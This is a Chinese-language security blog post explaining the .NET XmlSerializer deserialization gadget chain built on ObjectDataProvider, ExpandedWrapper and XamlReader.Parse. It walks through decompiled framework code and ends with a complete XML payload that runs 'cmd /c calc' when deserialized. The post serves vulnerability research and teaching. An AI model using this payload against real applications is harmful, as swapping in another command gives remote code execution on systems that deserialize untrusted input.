0%

从三味书屋到百草堂,从XmlSerializer到BinnaryFormatter之XmlSerializer反序列化漏洞ObjectDataProvider利用链

利用链分析

我们先从ObjectDataProvider开始,有下面一段代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
using System;
using System.Diagnostics;
using System.Windows.Data;
using System.IO;
using System.Xml.Serialization;

namespace Test
{
public class Program
{
static void Main(string[] args)
{

ObjectDataProvider odp = new ObjectDataProvider();
odp.ObjectInstance = new Process();
odp.MethodParameters.Add("cmd.exe");
odp.MethodParameters.Add("/c calc");
odp.MethodName = "Start";
}
}
}

当这段代码运行后会弹出计算机,那么命令行代码的执行时机是在哪呢,我们观察ObjectDataProviderMethodName以及MethodParameters成员变量,发现Methodname存在set访问器
set访问器中有一个if判断是否是延迟刷新,默认计算结果为false即会调用到Refresh方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[DefaultValue(null)]
public string MethodName
{
get
{
return _methodName;
}
set
{
_methodName = value;
OnPropertyChanged("MethodName");
if (!base.IsRefreshDeferred)
{
Refresh();
}
}
}

Refresh方法最终会调用到QueryWorker方法,在QueryWorker方法中会调用到InvokeMethodOnInstance方法调用命令执行方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
public void Refresh()
{
_initialLoadCalled = true;
BeginQuery();
}
protected override void BeginQuery()
{
if (TraceData.IsExtendedTraceEnabled(this, TraceDataLevel.Attach))
{
TraceData.Trace(TraceEventType.Warning, TraceData.BeginQuery(TraceData.Identify(this), IsAsynchronous ? "asynchronous" : "synchronous"));
}

if (IsAsynchronous)
{
ThreadPool.QueueUserWorkItem(QueryWorker, null);
}
else
{
QueryWorker(null);
}
}
private void QueryWorker(object obj)
{
object obj2 = null;
Exception e = null;
if (_mode == SourceMode.NoSource || _objectType == null)
{
if (TraceData.IsEnabled)
{
TraceData.Trace(TraceEventType.Error, TraceData.ObjectDataProviderHasNoSource);
}

e = new InvalidOperationException(SR.Get("ObjectDataProviderHasNoSource"));
}
else
{
Exception e2 = null;
if (_needNewInstance && _mode == SourceMode.FromType)
{
ConstructorInfo[] constructors = _objectType.GetConstructors();
if (constructors.Length != 0)
{
_objectInstance = CreateObjectInstance(out e2);
}

_needNewInstance = false;
}

if (string.IsNullOrEmpty(MethodName))
{
obj2 = _objectInstance;
}
else
{
obj2 = InvokeMethodOnInstance(out e);
if (e != null && e2 != null)
{
e = e2;
}
}
}

InvokeMethodOnInstance将会调用指定方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private object InvokeMethodOnInstance(out Exception e)
{
object result = null;
string text = null;
e = null;
object[] array = new object[_methodParameters.Count];
_methodParameters.CopyTo(array, 0);
try
{
result = _objectType.InvokeMember(MethodName, BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.FlattenHierarchy | BindingFlags.InvokeMethod | BindingFlags.OptionalParamBinding, null, _objectInstance, array, CultureInfo.InvariantCulture);
}
...
}

也就是说MethodName变量的set访问器被触发时会调用objectInstance变量所指向对下个你的指定方法,方法名为methodName变量的值,参数为MethodParameters
XmlSerializer类在反序列化xml的时候会构造ObjectDataProvider对象,在对象构造的过程中会调用到其成员变量的set访问器为成员变量赋值从而触发命令执行。
只是这样是不够的,因为ObjectDataProvider对象并不能被XmlSerializer序列化。这个时候就需要ExpandedWrapperObjectDataProvider进行包装,另外即便ObjectDataProvider被包装后也是不能成功序列化的,
因为ObjectProvider的成员变量ObjectInstance是一个Process对象,因为该对象是不能被XmlSerializer序列化的。
我们可以先对命令执行的方法进行一下封装让其能够被序列化方便测试。
代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[XmlRoot]
public class ProcessT
{
public void exec()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c calc";
process.Start();
}
}
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<ProcessT, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<ProcessT, ObjectDataProvider>();
ObjectDataProvider object_data_provider = new ObjectDataProvider();
object_data_provider.MethodName = "exec";
object_data_provider.ObjectInstance = new ProcessT();
expandedWrapper.ProjectedProperty0 = object_data_provider;
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<ProcessT, ObjectDataProvider>));
TextWriter text_writer = new StreamWriter(@"test.xml");
xml.Serialize(text_writer, expandedWrapper);
text_writer.Close();
}
}

这样被封装后就解决了Process不能被序列化的问题,那么ExpandedWrapper是如何解决ObjectDataprovider不能被序列化的问题的呢?
test.xml中序列化的数据为

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<ExpandedWrapperOfProcessTObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<ProjectedProperty0>
<ObjectInstance xsi:type="ProcessT" />
<MethodName>exec</MethodName>
</ProjectedProperty0>
</ExpandedWrapperOfProcessTObjectDataProvider>

ExpandedWrapper被编译的时候会自动生成一个程序集(咱也不知道是谁生成的,我看的文章是说在XmlSerializer在初始化的时候生成这个程序集),
这个程序集中包含两个类分别是 XmlSerializationReaderExpandedWrapper2以及XmlSerializationWriterExpandedWrapper2分别在ExpanderWrapper的序列化以及反序列化过程中被调用
img1
在反序列化过程中首先被调用的是Read9_Item方法
img2
Read9_Item方法调用Read8_Item

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public object Read9_Item()
{
object result = null;
base.Reader.MoveToContent();
if (base.Reader.NodeType == XmlNodeType.Element)
{
if (base.Reader.LocalName != this.id1_Item || base.Reader.NamespaceURI != this.id2_Item)
{
throw base.CreateUnknownNodeException();
}
result = this.Read8_Item(true, true);
}
else
{
base.UnknownNode(null, ":ExpandedWrapperOfProcessTObjectDataProvider");
}
return result;
}

Read8_Item最终调用到Read7_ObjectDataProvider,看到这个名字联想到是否会创建ObjectDataProvider这样是否就会给其objectInstance以及MehtodName属性赋值从而触发命令执行?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
private ExpandedWrapper<ProcessT, ObjectDataProvider> Read8_Item(bool isNullable, bool checkType)
{
XmlQualifiedName xmlQualifiedName = checkType ? base.GetXsiType() : null;
bool flag = false;
if (isNullable)
{
flag = base.ReadNull();
}
if (checkType)
{
if (xmlQualifiedName != null && (xmlQualifiedName.Name != this.id1_Item || xmlQualifiedName.Namespace != this.id2_Item))
{
throw base.CreateUnknownTypeException(xmlQualifiedName);
}
}
ExpandedWrapper<ProcessT, ObjectDataProvider> result;
if (flag)
{
result = null;
}
else
{
ExpandedWrapper<ProcessT, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<ProcessT, ObjectDataProvider>();
bool[] array = new bool[3];
while (base.Reader.MoveToNextAttribute())
{
if (!base.IsXmlnsAttribute(base.Reader.Name))
{
base.UnknownNode(expandedWrapper);
}
}
base.Reader.MoveToElement();
if (base.Reader.IsEmptyElement)
{
base.Reader.Skip();
result = expandedWrapper;
}
else
{
base.Reader.ReadStartElement();
base.Reader.MoveToContent();
int num = 0;
int readerCount = base.ReaderCount;
while (base.Reader.NodeType != XmlNodeType.EndElement && base.Reader.NodeType != XmlNodeType.None)
{
if (base.Reader.NodeType == XmlNodeType.Element)
{
if (!array[0] && (base.Reader.LocalName == this.id3_Description && base.Reader.NamespaceURI == this.id2_Item))
{
expandedWrapper.Description = base.Reader.ReadElementString();
array[0] = true;
}
else if (!array[1] && (base.Reader.LocalName == this.id4_ExpandedElement && base.Reader.NamespaceURI == this.id2_Item))
{
expandedWrapper.ExpandedElement = this.Read2_ProcessT(false, true);
array[1] = true;
}
else if (!array[2] && (base.Reader.LocalName == this.id5_ProjectedProperty0 && base.Reader.NamespaceURI == this.id2_Item))
{
expandedWrapper.ProjectedProperty0 = this.Read7_ObjectDataProvider(false, true);
array[2] = true;
}
else
{
base.UnknownNode(expandedWrapper, ":Description, :ExpandedElement, :ProjectedProperty0");
}
}
else
{
base.UnknownNode(expandedWrapper, ":Description, :ExpandedElement, :ProjectedProperty0");
}
base.Reader.MoveToContent();
base.CheckReaderCount(ref num, ref readerCount);
}
base.ReadEndElement();
result = expandedWrapper;
}
}
return result;
}

Read7_ObjectDataProvider在为MethodName赋值时将会触发 MehtodNameset访问器 从而触发命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
private ObjectDataProvider Read7_ObjectDataProvider(bool isNullable, bool checkType)
{
...
else
{
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
IList constructorParameters = objectDataProvider.ConstructorParameters;
IList methodParameters = objectDataProvider.MethodParameters;
bool[] array = new bool[7];
while (base.Reader.MoveToNextAttribute())
{
if (!base.IsXmlnsAttribute(base.Reader.Name))
{
base.UnknownNode(objectDataProvider);
}
}
base.Reader.MoveToElement();
if (base.Reader.IsEmptyElement)
{
base.Reader.Skip();
result = objectDataProvider;
}
else
{
base.Reader.ReadStartElement();
base.Reader.MoveToContent();
int num = 0;
int readerCount = base.ReaderCount;
while (base.Reader.NodeType != XmlNodeType.EndElement && base.Reader.NodeType != XmlNodeType.None)
{
if (base.Reader.NodeType == XmlNodeType.Element)
{
if (!array[0] && (base.Reader.LocalName == this.id7_IsInitialLoadEnabled && base.Reader.NamespaceURI == this.id2_Item))
{
if (base.Reader.IsEmptyElement)
{
base.Reader.Skip();
}
else
{
objectDataProvider.IsInitialLoadEnabled = XmlConvert.ToBoolean(base.Reader.ReadElementString());
}
array[0] = true;
}
else if (!array[1] && (base.Reader.LocalName == this.id8_ObjectType && base.Reader.NamespaceURI == this.id2_Item))
{
objectDataProvider.ObjectType = this.Read6_Type(false, true);
array[1] = true;
}
else if (!array[2] && (base.Reader.LocalName == this.id9_ObjectInstance && base.Reader.NamespaceURI == this.id2_Item))
{
// 设置objectInstance属性值
objectDataProvider.ObjectInstance = this.Read1_Object(false, true);
array[2] = true;
}
else if (!array[3] && (base.Reader.LocalName == this.id10_MethodName && base.Reader.NamespaceURI == this.id2_Item))
{
// 设置 MethodName属性值 将会触发 MehtodName的set访问器 从而触发命令执行
objectDataProvider.MethodName = base.Reader.ReadElementString();
array[3] = true;
}
...
}

到这里我们知道了通过ExpandWrapper包装ObjectDataProvider可以成功调用命令执行,但是这里有个问题就是我们的示例中调用的方法时自定义类ProcessTeval方法,而在生产环境中是否存在这样一个可以进行命令执行的方法呢?
可能会有,但是这里不讨论,这里我们通过另一种方式解决Process不能序列化的问题。
通过前面的内容我们知道通过ObjectDataProvider可以调用任意类的任意方法,那么如果我们可以通过XmlSerializer -> ObjectDataProvider -> xxx类xx方法 -> objectDataProvider -> Process不一样可以解决问题?
这里需要满足的条件时xxx类xxx方法在调用到ObjectDataprovider的过程中不会出现前面提到的某些类不能序列化的问题。
这里找到的类以及方法为XamlReaderparse方法,该方法可以将xaml字符串反序列化为对应的数据对象。
使用如下格式的payload边可以触发命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
<ResourceDictionary 
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:b=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start"">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>

可用如下代码进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
expandedWrapper.ProjectedProperty0.MethodName = "Parse";
expandedWrapper.ProjectedProperty0.MethodParameters.Add(@"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:b=""clr-namespace:System;assembly=mscorlib""
xmlns:c=""clr-namespace:System.Diagnostics;assembly=system"">
<ObjectDataProvider d:Key="""" ObjectType=""{d:Type c:Process}"" MethodName=""Start"">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
");
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
xml.Serialize(writer, expandedWrapper);
memoryStream.Position = 0;
xml.Deserialize(memoryStream);
Console.ReadKey();

那么接下来只需将xaml与通过objectProvider调用XamlReader.Parse方法的字符串结合起来即可
XmlSerializerDeserialize方法调用时先创建ExpandWrapper对象,在为ExpandWrapper的属性ProjectedProperty0赋值时会调用Read7_ObjectDataProvider方法创建ObjectDataProvider对象,
ObjectDataProvider对象创建过程中会调用到MethodNameset访问器,然后触犯XamlReaderParse方法对ResourceDictionary进行解析创建ObjectDataProvider这个资源,从而再次访问到ObjectDataProviderMethodName属性的set访问器
从而调用到ProcessStart方法,从而导致命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
Buy me a coffee.

欢迎关注我的其它发布渠道